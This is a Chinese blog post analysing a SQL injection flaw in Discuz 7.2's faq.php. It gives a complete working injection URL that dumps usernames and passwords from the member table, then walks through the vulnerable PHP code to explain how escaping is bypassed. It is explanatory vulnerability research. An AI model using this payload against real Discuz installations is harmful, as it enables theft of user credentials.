Discuz7.2版的faq.php SQL注入漏洞分析


Posted in PHP onAugust 06, 2014

注入代码实例:

https://3water.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {
...

        ksort($gids);

        $groupids = array();

        foreach($gids as $row) {

                $groupids[] = $row[0];

        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

        if(!empty($array)) {

                return "'".implode("','", is_array($array) ? $array : array($array))."'";

        } else {

                return '';

        }

}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

PHP 相关文章推荐
php中函数的形参与实参的问题说明
Sep 01 PHP
用php的ob_start来生成静态页面的方法分析
Mar 09 PHP
优化php效率,提高php性能的一些方法
Mar 24 PHP
PHP全概率运算函数(优化版) Webgame开发必备
Jul 04 PHP
PHP操作Memcache实例介绍
Jun 14 PHP
PHP fopen()和 file_get_contents()应用与差异介绍
Mar 19 PHP
PHP循环输出指定目录下的所有文件和文件夹路径例子(简单实用)
May 10 PHP
PHP页面间传递值和保持值的方法
Aug 24 PHP
PHP封装的XML简单操作类完整实例
Nov 13 PHP
php实现生成带二维码图片并强制下载功能
Feb 24 PHP
PHP+redis实现微博的推模型案例分析
Jul 10 PHP
PHP使用Http Post请求发送Json对象数据代码解析
Jul 16 PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
PHP学习笔记(一) 简单了解PHP
Aug 04 #PHP
You might like
基于php的微信公众平台开发入门实例
2015/04/15 PHP
基于CakePHP实现的简单博客系统实例
2015/06/28 PHP
PHP执行linux命令6个函数代码实例
2020/11/24 PHP
JavaScript 创建对象和构造类实现代码
2009/07/30 Javascript
javascript JSON操作入门实例
2010/04/16 Javascript
返回页面顶部top按钮通过锚点实现(自写)
2013/08/30 Javascript
JS计算网页停留时间代码
2014/04/28 Javascript
JQuery实现可直接编辑的表格
2015/04/16 Javascript
AngularJS学习笔记之依赖注入详解
2016/05/16 Javascript
JS使用正则截取两个字符串之间的字符串实现方法详解
2017/01/06 Javascript
Bootstrap表单控件使用方法详解
2017/01/11 Javascript
Vue.js中用webpack合并打包多个组件并实现按需加载
2017/02/17 Javascript
jQuery+ThinkPHP+Ajax实现即时消息提醒功能实例代码
2017/03/21 jQuery
Angular 2父子组件之间共享服务通信的实现
2017/07/04 Javascript
详解如何用模块化的方式写vuejs
2017/12/16 Javascript
vue中使用cropperjs的方法
2018/03/01 Javascript
vue2.0+vue-dplayer实现hls播放的示例
2018/03/02 Javascript
nodejs初始化init的示例代码
2018/10/10 NodeJs
Vue递归组件+Vuex开发树形组件Tree--递归组件的简单实现
2019/04/01 Javascript
微信小程序实现时间进度条功能
2020/11/17 Javascript
vue实现tab栏点击高亮效果
2020/08/19 Javascript
[52:37]完美世界DOTA2联赛循环赛 Forest vs DM BO2第一场 10.29
2020/10/29 DOTA
Python文件操作类操作实例详解
2014/07/11 Python
实现python版本的按任意键继续/退出
2016/09/26 Python
详解python中的index函数用法
2019/08/06 Python
Python 实现递归法解决迷宫问题的示例代码
2020/01/12 Python
实现CSS3中的border-radius(边框圆角)示例代码
2013/07/19 HTML / CSS
Html+Css+Jquery实现左侧滑动拉伸导航菜单栏的示例代码
2020/03/17 HTML / CSS
轻松制作精彩视频:Animoto
2018/09/19 全球购物
教师自荐信范文
2013/12/09 职场文书
探亲邀请信范文
2014/01/30 职场文书
会计专业求职信范文
2014/03/16 职场文书
天网工程实施方案
2014/03/26 职场文书
道士塔读书笔记
2015/06/30 职场文书
企业年会祝酒词
2015/08/11 职场文书
党员读书活动心得体会
2016/01/14 职场文书